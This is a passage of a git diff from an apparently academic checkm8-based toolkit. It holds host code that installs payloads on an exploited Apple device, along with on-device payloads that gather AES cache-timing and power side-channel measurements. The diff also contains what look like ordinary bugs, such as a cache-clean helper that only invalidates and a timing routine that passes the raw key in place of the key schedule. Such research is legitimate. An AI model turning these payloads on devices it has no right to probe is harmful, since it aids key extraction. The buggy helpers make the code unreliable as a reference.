}
|
||||
108
c8_remote/lib/experiments/power.c
Normal file
108
c8_remote/lib/experiments/power.c
Normal file
@@ -0,0 +1,108 @@
|
||||
#include "util/experiments.h"
|
||||
|
||||
#include <stdio.h>
|
||||
#include "tool/payload.h"
|
||||
|
||||
void floppysleep(struct pwned_device *dev)
|
||||
{
|
||||
struct dev_cmd_resp *resp;
|
||||
|
||||
if(IS_CHECKM8_FAIL(open_device_session(dev)))
|
||||
{
|
||||
printf("failed to open device session\n");
|
||||
return;
|
||||
}
|
||||
|
||||
if(IS_CHECKM8_FAIL(install_payload(dev, PAYLOAD_SYNC, SRAM)))
|
||||
{
|
||||
printf("failed to install sync payload\n");
|
||||
return;
|
||||
}
|
||||
|
||||
if(IS_CHECKM8_FAIL(install_payload(dev, PAYLOAD_FLOPPYSLEEP, SRAM)))
|
||||
{
|
||||
printf("failed to install task sleep payload\n");
|
||||
return;
|
||||
}
|
||||
|
||||
float init_a = -7.504355E-39f;
|
||||
DEV_PTR_T init_a_ptr = install_data(dev, SRAM, (unsigned char *) &init_a, sizeof(float));
|
||||
if(init_a_ptr == DEV_PTR_NULL)
|
||||
{
|
||||
printf("failed to write initial data\n");
|
||||
return;
|
||||
}
|
||||
|
||||
resp = execute_payload(dev, PAYLOAD_SYNC, 0, 0);
|
||||
if(IS_CHECKM8_FAIL(resp->ret))
|
||||
{
|
||||
printf("failed to execute bootstrap\n");
|
||||
return;
|
||||
}
|
||||
|
||||
free_dev_cmd_resp(resp);
|
||||
|
||||
resp = execute_payload(dev, PAYLOAD_FLOPPYSLEEP, 0, 1, init_a_ptr);
|
||||
if(IS_CHECKM8_FAIL(resp->ret))
|
||||
{
|
||||
printf("failed to execute flopsleep payload\n");
|
||||
return;
|
||||
}
|
||||
|
||||
printf("retval is %08lli\n", resp->retval);
|
||||
free_dev_cmd_resp(resp);
|
||||
close_device_session(dev);
|
||||
}
|
||||
|
||||
void floppysleep_async(struct pwned_device *dev)
|
||||
{
|
||||
float init_a = -7.504355E-39f;
|
||||
DEV_PTR_T init_a_ptr, async_buf_ptr;
|
||||
struct dev_cmd_resp *resp;
|
||||
|
||||
if(IS_CHECKM8_FAIL(open_device_session(dev)))
|
||||
{
|
||||
printf("failed to open device session\n");
|
||||
return;
|
||||
}
|
||||
|
||||
if(IS_CHECKM8_FAIL(install_payload(dev, PAYLOAD_SYNC, SRAM)))
|
||||
{
|
||||
printf("failed to install sync payload\n");
|
||||
return;
|
||||
}
|
||||
|
||||
if(IS_CHECKM8_FAIL(install_payload(dev, PAYLOAD_FLOPPYSLEEP, SRAM)))
|
||||
{
|
||||
printf("failed to install task sleep payload\n");
|
||||
return;
|
||||
}
|
||||
|
||||
init_a_ptr = install_data(dev, SRAM, (unsigned char *) &init_a, sizeof(float));
|
||||
if(init_a_ptr == DEV_PTR_NULL)
|
||||
{
|
||||
printf("failed to write initial data\n");
|
||||
return;
|
||||
}
|
||||
|
||||
resp = execute_payload(dev, PAYLOAD_SYNC, 0, 0);
|
||||
if(IS_CHECKM8_FAIL(resp->ret))
|
||||
{
|
||||
printf("failed to execute bootstrap\n");
|
||||
return;
|
||||
}
|
||||
|
||||
free_dev_cmd_resp(resp);
|
||||
|
||||
async_buf_ptr = setup_payload_async(dev, PAYLOAD_FLOPPYSLEEP, 32, 1, init_a_ptr);
|
||||
run_payload_async(dev, PAYLOAD_FLOPPYSLEEP);
|
||||
close_device_session(dev);
|
||||
|
||||
printf("async buf pointer is %llX\n", async_buf_ptr);
|
||||
|
||||
// sleep(10);
|
||||
//
|
||||
// open_device_session(dev);
|
||||
// resp = read_gadget(dev, async_buf_ptr, 8);
|
||||
// close_device_session(dev);
|
||||
}
|
||||
54
c8_remote/lib/experiments/system.c
Normal file
54
c8_remote/lib/experiments/system.c
Normal file
@@ -0,0 +1,54 @@
|
||||
#include "util/experiments.h"
|
||||
|
||||
#include <stdio.h>
|
||||
#include "tool/command.h"
|
||||
#include "dev/addr.h"
|
||||
|
||||
void usb_task_exit(struct pwned_device *dev)
|
||||
{
|
||||
struct dev_cmd_resp *resp;
|
||||
if(IS_CHECKM8_FAIL(open_device_session(dev)))
|
||||
{
|
||||
printf("failed to open device session\n");
|
||||
return;
|
||||
}
|
||||
|
||||
if(IS_CHECKM8_FAIL(install_payload(dev, PAYLOAD_SYNC, SRAM)))
|
||||
{
|
||||
printf("failed to install sync payload\n");
|
||||
return;
|
||||
}
|
||||
|
||||
if(IS_CHECKM8_FAIL(install_payload(dev, PAYLOAD_EXIT_USB_TASK, SRAM)))
|
||||
{
|
||||
printf("failed to install sync payload\n");
|
||||
return;
|
||||
}
|
||||
|
||||
resp = execute_payload(dev, PAYLOAD_SYNC, 0, 0);
|
||||
if(IS_CHECKM8_FAIL(resp->ret))
|
||||
{
|
||||
printf("failed to execute bootstrap\n");
|
||||
return;
|
||||
}
|
||||
free_dev_cmd_resp(resp);
|
||||
|
||||
if(IS_CHECKM8_FAIL(uninstall_payload(dev, PAYLOAD_SYNC)))
|
||||
{
|
||||
printf("failed to uninstall sync payload\n");
|
||||
return;
|
||||
}
|
||||
|
||||
resp = execute_payload(dev, PAYLOAD_EXIT_USB_TASK, 0, 0);
|
||||
if(IS_CHECKM8_FAIL(resp->ret))
|
||||
{
|
||||
printf("failed to exit usb task\n");
|
||||
return;
|
||||
}
|
||||
|
||||
if(IS_CHECKM8_FAIL(close_device_session(dev)))
|
||||
{
|
||||
printf("failed to close device session\n");
|
||||
return;
|
||||
}
|
||||
}
|
||||
@@ -1,28 +1,46 @@
|
||||
project(checkm8_libpayload_sources C ASM)
|
||||
include_directories(include)
|
||||
|
||||
include_directories(${CMAKE_CURRENT_LIST_DIR}/include)
|
||||
set(CMAKE_SYSTEM_PROCESSOR arm)
|
||||
|
||||
if(${CMAKE_HOST_SYSTEM_PROCESSOR} STREQUAL "x86_64")
|
||||
# regular desktop
|
||||
set(CMAKE_C_COMPILER /usr/bin/aarch64-linux-gnu-gcc)
|
||||
set(CMAKE_ASM_COMPILER /usr/bin/aarch64-linux-gnu-as)
|
||||
set(CMAKE_OBJCOPY /usr/bin/aarch64-linux-gnu-objcopy)
|
||||
set(CMAKE_RANLIB /usr/bin/aarch64-linux-gnu-ranlib)
|
||||
elseif(${CMAKE_HOST_SYSTEM_PROCESSOR} STREQUAL "armv7l")
|
||||
# raspberry pi
|
||||
set(CMAKE_C_COMPILER /opt/cross/bin/aarch64-linux-gcc)
|
||||
set(CMAKE_ASM_COMPILER /opt/cross/bin/aarch64-linux-as)
|
||||
set(CMAKE_OBJCOPY /opt/cross/bin/aarch64-linux-objcopy)
|
||||
set(CMAKE_RANLIB /opt/cross/bin/aarch64-linux-ranlib)
|
||||
endif()
|
||||
|
||||
set(CMAKE_C_FLAGS "-nostdlib -O")
|
||||
|
||||
file(MAKE_DIRECTORY ${CMAKE_CURRENT_BINARY_DIR}/bin)
|
||||
|
||||
foreach(NAME ${PL_NAMES})
|
||||
add_executable(payload_${NAME} src/${NAME}.c)
|
||||
add_custom_command(TARGET payload_${NAME} POST_BUILD
|
||||
BYPRODUCTS ${CMAKE_CURRENT_BINARY_DIR}/bin/payload_${NAME}.bin
|
||||
string(REPLACE ":" "/" SRC_PATH ${NAME})
|
||||
string(REGEX REPLACE "^[^:]*\\:(.*)$" "\\1" NAME_ONLY ${NAME})
|
||||
|
||||
set(SRC_NAME ${NAME}_SRCS)
|
||||
set(${SRC_NAME} src/payload_entry.S src/payload_entry.c src/${SRC_PATH}.c)
|
||||
|
||||
if(EXISTS ${CMAKE_CURRENT_LIST_DIR}/src/${SRC_PATH}.S)
|
||||
list(APPEND ${SRC_NAME} src/${SRC_PATH}.S)
|
||||
endif()
|
||||
|
||||
add_executable(payload_${NAME_ONLY} ${${SRC_NAME}})
|
||||
message(adding payload_${NAME_ONLY})
|
||||
add_custom_command(TARGET payload_${NAME_ONLY} POST_BUILD
|
||||
BYPRODUCTS ${CMAKE_CURRENT_BINARY_DIR}/bin/payload_${NAME_ONLY}.bin
|
||||
COMMAND ${CMAKE_OBJCOPY}
|
||||
ARGS -O binary -j .text -j .payload_text -j .payload_data
|
||||
${CMAKE_CURRENT_BINARY_DIR}/payload_${NAME}
|
||||
${CMAKE_CURRENT_BINARY_DIR}/bin/payload_${NAME}.bin)
|
||||
endforeach(NAME)
|
||||
${CMAKE_CURRENT_BINARY_DIR}/payload_${NAME_ONLY}
|
||||
${CMAKE_CURRENT_BINARY_DIR}/bin/payload_${NAME_ONLY}.bin)
|
||||
endforeach(NAME)
|
||||
|
||||
add_library(dev_crypto ../crypto/aes_sw_impl.c)
|
||||
target_compile_definitions(dev_crypto PRIVATE DEV_CRYPTO)
|
||||
|
||||
target_link_libraries(payload_aes_sw_bern dev_crypto)
|
||||
target_link_libraries(payload_aes_sw_corr dev_crypto)
|
||||
136
c8_remote/lib/payload/include/bootrom_func.h
Normal file
136
c8_remote/lib/payload/include/bootrom_func.h
Normal file
@@ -0,0 +1,136 @@
|
||||
#ifndef CHECKM8_TOOL_BOOTROM_FUNC_H
|
||||
#define CHECKM8_TOOL_BOOTROM_FUNC_H
|
||||
|
||||
#include "dev/addr.h"
|
||||
#include "dev/types.h"
|
||||
#include "dev_util.h"
|
||||
|
||||
/* Crypto */
|
||||
static inline int hardware_aes(unsigned long long cmd,
|
||||
unsigned char *src, unsigned char *dst,
|
||||
int len, unsigned long long opts,
|
||||
unsigned char *key, unsigned char *iv)
|
||||
{
|
||||
return ((BOOTROM_FUNC_I) ADDR_HARDWARE_AES)(cmd, src, dst, len, opts, key, iv);
|
||||
}
|
||||
|
||||
static inline int get_random(void *buf, int len)
|
||||
{
|
||||
return ((BOOTROM_FUNC_I) ADDR_GET_RANDOM)(buf, len);
|
||||
}
|
||||
|
||||
static inline unsigned int get_entropy()
|
||||
{
|
||||
return ((BOOTROM_FUNC_I) ADDR_GET_ENTROPY)();
|
||||
}
|
||||
|
||||
static inline void sha1(void *src, int len, void *dst)
|
||||
{
|
||||
return ((BOOTROM_FUNC_V) ADDR_SHA1)(src, len, dst);
|
||||
}
|
||||
|
||||
/* Timing */
|
||||
static inline int clock_gate(int device, int power)
|
||||
{
|
||||
return ((BOOTROM_FUNC_I) ADDR_CLOCK_GATE)(device, power);
|
||||
}
|
||||
|
||||
static inline unsigned long long get_time()
|
||||
{
|
||||
return ((BOOTROM_FUNC_ULL) ADDR_GET_TIME)();
|
||||
}
|
||||
|
||||
static inline unsigned long long get_ticks()
|
||||
{
|
||||
return ((BOOTROM_FUNC_ULL) ADDR_GET_TICKS)();
|
||||
}
|
||||
|
||||
static inline void timer_register_int(unsigned long long dl)
|
||||
{
|
||||
((BOOTROM_FUNC_V) ADDR_TIMER_REGISTER_INT)(dl, ADDR_RANDOM_RET);
|
||||
}
|
||||
|
||||
static inline void wfi()
|
||||
{
|
||||
((BOOTROM_FUNC_V) ADDR_WFI)();
|
||||
}
|
||||
|
||||
/* Tasking */
|
||||
static inline void *task_new(char *name, BOOTROM_FUNC_I func, void *args, int ssize)
|
||||
{
|
||||
return ((BOOTROM_FUNC_PTR) ADDR_TASK_NEW)(name, func, args, ssize);
|
||||
}
|
||||
|
||||
static inline void task_run(void *task)
|
||||
{
|
||||
((BOOTROM_FUNC_V) ADDR_TASK_RUN)(task);
|
||||
}
|
||||
|
||||
static inline void task_pause(int usec)
|
||||
{
|
||||
((BOOTROM_FUNC_V) ADDR_TASK_PAUSE)(usec);
|
||||
}
|
||||
|
||||
static inline void task_resched()
|
||||
{
|
||||
((BOOTROM_FUNC_V) ADDR_TASK_RESCHED)();
|
||||
}
|
||||
|
||||
static inline void task_free(void *task)
|
||||
{
|
||||
((BOOTROM_FUNC_V) ADDR_TASK_FREE)(task);
|
||||
}
|
||||
|
||||
static inline void event_new(struct event *dst, int flags, int state)
|
||||
{
|
||||
((BOOTROM_FUNC_V) ADDR_EVENT_NEW)(dst, flags, state);
|
||||
}
|
||||
|
||||
static inline void event_notify(struct event *ev)
|
||||
{
|
||||
((BOOTROM_FUNC_V) ADDR_EVENT_NOTIFY)(ev);
|
||||
}
|
||||
|
||||
static inline void event_wait(struct event *ev)
|
||||
{
|
||||
((BOOTROM_FUNC_V) ADDR_EVENT_WAIT)(ev);
|
||||
}
|
||||
|
||||
static inline int event_try(struct event *ev, int timeout)
|
||||
{
|
||||
return ((BOOTROM_FUNC_I) ADDR_EVENT_TRY)(ev, timeout);
|
||||
}
|
||||
|
||||
/* Heap */
|
||||
static inline void calc_chksum(unsigned long long *dst, unsigned long long *src,
|
||||
int len, unsigned long long *cookie)
|
||||
{
|
||||
((BOOTROM_FUNC_V) ADDR_CALC_CHKSUM)(dst, src, len, cookie);
|
||||
}
|
||||
|
||||
static inline void check_block_chksum(void *ptr)
|
||||
{
|
||||
((BOOTROM_FUNC_V) ADDR_CHECK_BLOCK_CKSUM)(ptr);
|
||||
}
|
||||
|
||||
static inline void check_all_chksums()
|
||||
{
|
||||
((BOOTROM_FUNC_V) ADDR_CHECK_ALL_CHKSUMS)();
|
||||
}
|
||||
|
||||
static inline void *dev_malloc(int size)
|
||||
{
|
||||
return ((BOOTROM_FUNC_PTR) ADDR_DEV_MALLOC)(size);
|
||||
}
|
||||
|
||||
static inline void *dev_memalign(int size, int constr)
|
||||
{
|
||||
return ((BOOTROM_FUNC_PTR) ADDR_DEV_MEMALIGN)(size, constr);
|
||||
}
|
||||
|
||||
static inline void dev_free(void *ptr)
|
||||
{
|
||||
((BOOTROM_FUNC_PTR) ADDR_DEV_FREE)(ptr);
|
||||
}
|
||||
|
||||
#endif //CHECKM8_TOOL_BOOTROM_FUNC_H
|
||||
62
c8_remote/lib/payload/include/dev_cache.h
Normal file
62
c8_remote/lib/payload/include/dev_cache.h
Normal file
@@ -0,0 +1,62 @@
|
||||
#ifndef CHECKM8_TOOL_DEV_CACHE_H
|
||||
#define CHECKM8_TOOL_DEV_CACHE_H
|
||||
|
||||
#include "dev_util.h"
|
||||
|
||||
PAYLOAD_SECTION
|
||||
static inline unsigned long long get_ccsidr_el1()
|
||||
{
|
||||
unsigned long long cacheconfig = 0;
|
||||
__asm__ volatile ("mrs %0, ccsidr_el1" : "=r" (cacheconfig));
|
||||
return cacheconfig;
|
||||
}
|
||||
|
||||
PAYLOAD_SECTION
|
||||
static inline void sel_ccsidr_el1(unsigned int level, unsigned int i_or_d)
|
||||
{
|
||||
unsigned long long cachesel = (level & 0b111u) << 1u | (i_or_d & 0b1u);
|
||||
__asm__ volatile ("msr csselr_el1, %0"::"r" (cachesel));
|
||||
}
|
||||
|
||||
PAYLOAD_SECTION
|
||||
static inline unsigned long long get_ctr_el0()
|
||||
{
|
||||
unsigned long long cacheconfig;
|
||||
__asm__ volatile ("mrs %0, CTR_EL0" : "=r" (cacheconfig));
|
||||
return cacheconfig;
|
||||
}
|
||||
|
||||
PAYLOAD_SECTION
|
||||
static inline void inv_l1_setway(unsigned int set, unsigned int way)
|
||||
{
|
||||
unsigned long long val = ((way & 0b11u) << 30u) | ((set & 0xFFu) << 6u);
|
||||
__asm__ volatile ("dc isw, %0"::"r" (val));
|
||||
}
|
||||
|
||||
PAYLOAD_SECTION
|
||||
static inline void clean_l1_setway(unsigned int set, unsigned int way)
|
||||
{
|
||||
unsigned long long val = ((way & 0b11u) << 30u) | ((set & 0xFFu) << 6u);
|
||||
__asm__ volatile ("dc csw, %0"::"r" (val));
|
||||
}
|
||||
|
||||
PAYLOAD_SECTION
|
||||
static inline void clean_inv_l1_setway(unsigned int set, unsigned int way)
|
||||
{
|
||||
unsigned long long val = ((way & 0b11u) << 30u) | ((set & 0xFFu) << 6u);
|
||||
__asm__ volatile ("dc cisw, %0"::"r" (val));
|
||||
}
|
||||
|
||||
PAYLOAD_SECTION
|
||||
static inline void inv_va(void *addr)
|
||||
{
|
||||
__asm__ volatile ("dc ivac, %0"::"r" (addr));
|
||||
}
|
||||
|
||||
PAYLOAD_SECTION
|
||||
static inline void clean_inv_va(void *addr)
|
||||
{
|
||||
__asm__ volatile ("dc ivac, %0"::"r" (addr));
|
||||
}
|
||||
|
||||
#endif //CHECKM8_TOOL_DEV_CACHE_H
|
||||
13
c8_remote/lib/payload/include/dev_crypto.h
Normal file
13
c8_remote/lib/payload/include/dev_crypto.h
Normal file
@@ -0,0 +1,13 @@
|
||||
#ifndef CHECKM8_TOOL_CRYPTO_H
|
||||
#define CHECKM8_TOOL_CRYPTO_H
|
||||
|
||||
#include "dev/types.h"
|
||||
|
||||
void expand_key(unsigned char key[16], unsigned char key_sched[176],
|
||||
int n, struct aes_constants *c);
|
||||
|
||||
void aes128_encrypt_ecb(unsigned char *msg, unsigned int msg_len,
|
||||
unsigned char key_sched[176], struct aes_constants *c);
|
||||
|
||||
|
||||
#endif //CHECKM8_TOOL_CRYPTO_H
|
||||
22
c8_remote/lib/payload/include/dev_util.h
Normal file
22
c8_remote/lib/payload/include/dev_util.h
Normal file
@@ -0,0 +1,22 @@
|
||||
#ifndef CHECKM8_TOOL_DEV_UTIL_H
|
||||
#define CHECKM8_TOOL_DEV_UTIL_H
|
||||
|
||||
typedef void (*BOOTROM_FUNC_V)();
|
||||
typedef int (*BOOTROM_FUNC_I)();
|
||||
typedef unsigned long long (*BOOTROM_FUNC_ULL)();
|
||||
typedef void (*(*BOOTROM_FUNC_PTR)());
|
||||
|
||||
typedef char int8_t;
|
||||
typedef short int16_t;
|
||||
typedef int int32_t;
|
||||
typedef long long int64_t;
|
||||
|
||||
typedef unsigned char uint8_t;
|
||||
typedef unsigned short uint16_t;
|
||||
typedef unsigned int uint32_t;
|
||||
typedef unsigned long long uint64_t;
|
||||
|
||||
#define PAYLOAD_SECTION __attribute__ ((section (".payload_text")))
|
||||
#define PAYLOAD_DATA __attribute__ ((section (".payload_data")))
|
||||
|
||||
#endif //CHECKM8_TOOL_DEV_UTIL_H
|
||||
22
c8_remote/lib/payload/src/crypto/aes_busy.c
Normal file
22
c8_remote/lib/payload/src/crypto/aes_busy.c
Normal file
@@ -0,0 +1,22 @@
|
||||
#include "bootrom_func.h"
|
||||
|
||||
PAYLOAD_SECTION
|
||||
void entry_sync(uint8_t *src, uint8_t *dst, uint8_t *key, int32_t rep)
|
||||
{
|
||||
int i, j;
|
||||
unsigned char src_data[16];
|
||||
|
||||
for(j = 0; j < 16; j++)
|
||||
{
|
||||
src_data[j] = src[j];
|
||||
}
|
||||
|
||||
for(i = 0; i < rep; i++)
|
||||
{
|
||||
if(i % 2 == 0) hardware_aes(16, src_data, dst, 16, 0, key, 0);
|
||||
else hardware_aes(16, dst, src_data, 16, 0, key, 0);
|
||||
}
|
||||
}
|
||||
|
||||
PAYLOAD_SECTION
|
||||
void entry_async(uint64_t *base){}
|
||||
83
c8_remote/lib/payload/src/crypto/aes_sw_bern.c
Normal file
83
c8_remote/lib/payload/src/crypto/aes_sw_bern.c
Normal file
@@ -0,0 +1,83 @@
|
||||
#include "bootrom_func.h"
|
||||
#include "dev/types.h"
|
||||
#include "dev_cache.h"
|
||||
#include "dev_crypto.h"
|
||||
|
||||
PAYLOAD_SECTION
|
||||
uint64_t entry_sync(unsigned char *msg, unsigned int msg_len, unsigned char key[16],
|
||||
struct aes_constants *c)
|
||||
{
|
||||
unsigned long long start = 0;
|
||||
unsigned char key_sched[176];
|
||||
expand_key(key, key_sched, 11, c);
|
||||
|
||||
start = get_ticks();
|
||||
aes128_encrypt_ecb(msg, msg_len, key, c);
|
||||
return get_ticks() - start;
|
||||
}
|
||||
|
||||
PAYLOAD_SECTION
|
||||
void entry_async(uint64_t *base)
|
||||
{
|
||||
int i, j, iter_count = 0;
|
||||
unsigned long long start = 0;
|
||||
|
||||
unsigned char msg_old[16];
|
||||
unsigned char key_sched[176];
|
||||
double timing;
|
||||
|
||||
// get initial params
|
||||
unsigned char *msg = (unsigned char *) base[0];
|
||||
unsigned int msg_len = (unsigned int) base[1];
|
||||
unsigned char *key = (unsigned char *) base[2];
|
||||
struct aes_constants *c = (struct aes_constants *) base[3];
|
||||
|
||||
expand_key(key, key_sched, 11, c);
|
||||
|
||||
// initialize events and buffers
|
||||
struct bern_data *data = (struct bern_data *) base;
|
||||
event_new(&data->ev_data, 1, 0);
|
||||
event_new(&data->ev_done, 1, 0);
|
||||
|
||||
data->count = 0;
|
||||
for(i = 0; i < 16; i++)
|
||||
{
|
||||
for(j = 0; j < 256; j++)
|
||||
{
|
||||
data->t[i][j] = 0;
|
||||
data->tsq[i][j] = 0;
|
||||
data->tnum[i][j] = 0;
|
||||
}
|
||||
}
|
||||
|
||||
while(1)
|
||||
{
|
||||
// randomly generate a new msg based on the old one
|
||||
for(i = 0; i < 16; i++)
|
||||
msg_old[i] = msg[i];
|
||||
|
||||
// encrypt it and measure time
|
||||
start = get_ticks();
|
||||
aes128_encrypt_ecb(msg, msg_len, key_sched, c);
|
||||
timing = (double) (get_ticks() - start);
|
||||
|
||||
// update counters
|
||||
for(i = 0; i < 16; i++)
|
||||
{
|
||||
data->t[i][msg_old[i]] += timing;
|
||||
data->tsq[i][msg_old[i]] += (timing * timing);
|
||||
data->tnum[i][msg_old[i]] += 1;
|
||||
|
||||
data->count++;
|
||||
data->ttotal += timing;
|
||||
}
|
||||
|
||||
// check if host has requested data
|
||||
iter_count++;
|
||||
if(iter_count % 100000 == 0)
|
||||
{
|
||||
if(event_try(&data->ev_data, 1))
|
||||
event_wait(&data->ev_done);
|
||||
}
|
||||
}
|
||||
}
|
||||
54
c8_remote/lib/payload/src/crypto/aes_sw_corr.c
Normal file
54
c8_remote/lib/payload/src/crypto/aes_sw_corr.c
Normal file
@@ -0,0 +1,54 @@
|
||||
#include "bootrom_func.h"
|
||||
#include "dev_util.h"
|
||||
#include "dev_crypto.h"
|
||||
|
||||
PAYLOAD_SECTION
|
||||
void entry_sync()
|
||||
{
|
||||
|
||||
}
|
||||
|
||||
PAYLOAD_SECTION
|
||||
void entry_async(uint64_t *base)
|
||||
{
|
||||
int i;
|
||||
unsigned char key_sched[176];
|
||||
unsigned long long start, timing;
|
||||
|
||||
unsigned char *key = (unsigned char *) base[0];
|
||||
struct aes_constants *c = (struct aes_constants *) base[1];
|
||||
|
||||
struct corr_data *data = (struct corr_data *) base;
|
||||
event_new(&data->ev_cont, 1, 0);
|
||||
|
||||
expand_key(key, key_sched, 11, c);
|
||||
for(i = 0; i < 16; i++)
|
||||
data->msg[i] = 0;
|
||||
|
||||
while(1)
|
||||
{
|
||||
// reset data state
|
||||
data->num_cutoff = 0;
|
||||
for(i = 0; i < N_CORR_ENTRIES; i++)
|
||||
{
|
||||
data->data[i] = 0;
|
||||
}
|
||||
|
||||
// collect new data
|
||||
i = 0;
|
||||
while(i < N_CORR_ENTRIES)
|
||||
{
|
||||
start = get_ticks();
|
||||
aes128_encrypt_ecb(data->msg, 16, key_sched, c);
|
||||
timing = get_ticks() - start;
|
||||
|
||||
if(timing < 256)
|
||||
data->data[i++] = (unsigned char) timing;
|
||||
else
|
||||
data->num_cutoff++;
|
||||
}
|
||||
|
||||
event_wait(&data->ev_cont);
|
||||
}
|
||||
|
||||
}
|
||||
17
c8_remote/lib/payload/src/payload_entry.S
Normal file
17
c8_remote/lib/payload/src/payload_entry.S
Normal file
@@ -0,0 +1,17 @@
|
||||
.extern entry_sync
|
||||
.extern entry_async
|
||||
.extern load_sync_entry
|
||||
|
||||
.global _start
|
||||
.section .text
|
||||
_start:
|
||||
mov x10, x30
|
||||
bl load_sync_entry
|
||||
mov x30, x10
|
||||
|
||||
# if we came from the synchronous entry point, branch to entry_sync
|
||||
cmp x9, x10
|
||||
b.eq entry_sync
|
||||
|
||||
# else branch to the payload's async entry points
|
||||
b entry_async
|
||||
13
c8_remote/lib/payload/src/payload_entry.c
Normal file
13
c8_remote/lib/payload/src/payload_entry.c
Normal file
@@ -0,0 +1,13 @@
|
||||
#include "dev_util.h"
|
||||
#include "dev/addr.h"
|
||||
|
||||
PAYLOAD_SECTION
|
||||
void load_sync_entry()
|
||||
{
|
||||
uint64_t addr = ADDR_SYNC_ENTRY;
|
||||
__asm__ volatile("mov x9, %0" :: "i" (addr & 0xFFFFu));
|
||||
__asm__ volatile("movk x9, %0, LSL #16" :: "i" ((addr & 0xFFFF0000u) >> 16u));
|
||||
__asm__ volatile("movk x9, %0, LSL #32" :: "i" ((addr & 0xFFFF00000000u) >> 32u));
|
||||
__asm__ volatile("movk x9, %0, LSL #48" :: "i" ((addr & 0xFFFF000000000000u) >> 48u));
|
||||
|
||||
}
|
||||
187
c8_remote/lib/payload/src/power/floppysleep.S
Normal file
187
c8_remote/lib/payload/src/power/floppysleep.S
Normal file
@@ -0,0 +1,187 @@
|
||||
.global fs_routine
|
||||
.global fs_load
|
||||
# .global check_subnormal
|
||||
|
||||
.section .payload_text, "ax"
|
||||
|
||||
fs_load:
|
||||
# load from memory
|
||||
ldr s0, [x0]
|
||||
mov v0.s[1], v0.s[0]
|
||||
mov v0.s[2], v0.s[0]
|
||||
mov v0.s[3], v0.s[0]
|
||||
fmov s31, 1.0
|
||||
ucvtf s30, w1
|
||||
|
||||
mov v1.s[3], v30.s[0]
|
||||
fadd s30, s30, s31
|
||||
mov v1.s[2], v30.s[0]
|
||||
fadd s30, s30, s31
|
||||
mov v1.s[1], v30.s[0]
|
||||
fadd s30, s30, s31
|
||||
mov v1.s[0], v30.s[0]
|
||||
|
||||
fadd s30, s30, s31
|
||||
mov v2.s[3], v30.s[0]
|
||||
fadd s30, s30, s31
|
||||
mov v2.s[2], v30.s[0]
|
||||
fadd s30, s30, s31
|
||||
mov v2.s[1], v30.s[0]
|
||||
fadd s30, s30, s31
|
||||
mov v2.s[0], v30.s[0]
|
||||
|
||||
fadd s30, s30, s31
|
||||
mov v3.s[3], v30.s[0]
|
||||
fadd s30, s30, s31
|
||||
mov v3.s[2], v30.s[0]
|
||||
fadd s30, s30, s31
|
||||
mov v3.s[1], v30.s[0]
|
||||
fadd s30, s30, s31
|
||||
mov v3.s[0], v30.s[0]
|
||||
|
||||
fadd s30, s30, s31
|
||||
mov v4.s[3], v30.s[0]
|
||||
fadd s30, s30, s31
|
||||
mov v4.s[2], v30.s[0]
|
||||
fadd s30, s30, s31
|
||||
mov v4.s[1], v30.s[0]
|
||||
fadd s30, s30, s31
|
||||
mov v4.s[0], v30.s[0]
|
||||
|
||||
fadd s30, s30, s31
|
||||
mov v5.s[3], v30.s[0]
|
||||
fadd s30, s30, s31
|
||||
mov v5.s[2], v30.s[0]
|
||||
fadd s30, s30, s31
|
||||
mov v5.s[1], v30.s[0]
|
||||
fadd s30, s30, s31
|
||||
mov v5.s[0], v30.s[0]
|
||||
|
||||
fadd s30, s30, s31
|
||||
mov v6.s[3], v30.s[0]
|
||||
fadd s30, s30, s31
|
||||
mov v6.s[2], v30.s[0]
|
||||
fadd s30, s30, s31
|
||||
mov v6.s[1], v30.s[0]
|
||||
fadd s30, s30, s31
|
||||
mov v6.s[0], v30.s[0]
|
||||
|
||||
fadd s30, s30, s31
|
||||
mov v7.s[3], v30.s[0]
|
||||
fadd s30, s30, s31
|
||||
mov v7.s[2], v30.s[0]
|
||||
fadd s30, s30, s31
|
||||
mov v7.s[1], v30.s[0]
|
||||
fadd s30, s30, s31
|
||||
mov v7.s[0], v30.s[0]
|
||||
|
||||
fadd s30, s30, s31
|
||||
mov v8.s[3], v30.s[0]
|
||||
fadd s30, s30, s31
|
||||
mov v8.s[2], v30.s[0]
|
||||
fadd s30, s30, s31
|
||||
mov v8.s[1], v30.s[0]
|
||||
fadd s30, s30, s31
|
||||
mov v8.s[0], v30.s[0]
|
||||
|
||||
fadd s30, s30, s31
|
||||
mov v9.s[3], v30.s[0]
|
||||
fadd s30, s30, s31
|
||||
mov v9.s[2], v30.s[0]
|
||||
fadd s30, s30, s31
|
||||
mov v9.s[1], v30.s[0]
|
||||
fadd s30, s30, s31
|
||||
mov v9.s[0], v30.s[0]
|
||||
|
||||
fadd s30, s30, s31
|
||||
mov v10.s[3], v10.s[0]
|
||||
fadd s30, s30, s31
|
||||
mov v10.s[2], v10.s[0]
|
||||
fadd s30, s30, s31
|
||||
mov v10.s[1], v10.s[0]
|
||||
fadd s30, s30, s31
|
||||
mov v10.s[0], v30.s[0]
|
||||
|
||||
fadd s30, s30, s31
|
||||
mov v11.s[3], v30.s[0]
|
||||
fadd s30, s30, s31
|
||||
mov v11.s[2], v30.s[0]
|
||||
fadd s30, s30, s31
|
||||
mov v11.s[1], v30.s[0]
|
||||
fadd s30, s30, s31
|
||||
mov v11.s[0], v30.s[0]
|
||||
|
||||
fadd s30, s30, s31
|
||||
mov v12.s[3], v30.s[0]
|
||||
fadd s30, s30, s31
|
||||
mov v12.s[2], v30.s[0]
|
||||
fadd s30, s30, s31
|
||||
mov v12.s[1], v30.s[0]
|
||||
fadd s30, s30, s31
|
||||
mov v12.s[0], v30.s[0]
|
||||
|
||||
fadd s30, s30, s31
|
||||
mov v13.s[3], v30.s[0]
|
||||
fadd s30, s30, s31
|
||||
mov v13.s[2], v30.s[0]
|
||||
fadd s30, s30, s31
|
||||
mov v13.s[1], v30.s[0]
|
||||
fadd s30, s30, s31
|
||||
mov v13.s[0], v30.s[0]
|
||||
|
||||
fadd s30, s30, s31
|
||||
mov v14.s[3], v30.s[0]
|
||||
fadd s30, s30, s31
|
||||
mov v14.s[2], v30.s[0]
|
||||
fadd s30, s30, s31
|
||||
mov v14.s[1], v30.s[0]
|
||||
fadd s30, s30, s31
|
||||
mov v14.s[0], v30.s[0]
|
||||
|
||||
fadd s30, s30, s31
|
||||
mov v15.s[3], v30.s[0]
|
||||
fadd s30, s30, s31
|
||||
mov v15.s[2], v30.s[0]
|
||||
fadd s30, s30, s31
|
||||
mov v15.s[1], v30.s[0]
|
||||
fadd s30, s30, s31
|
||||
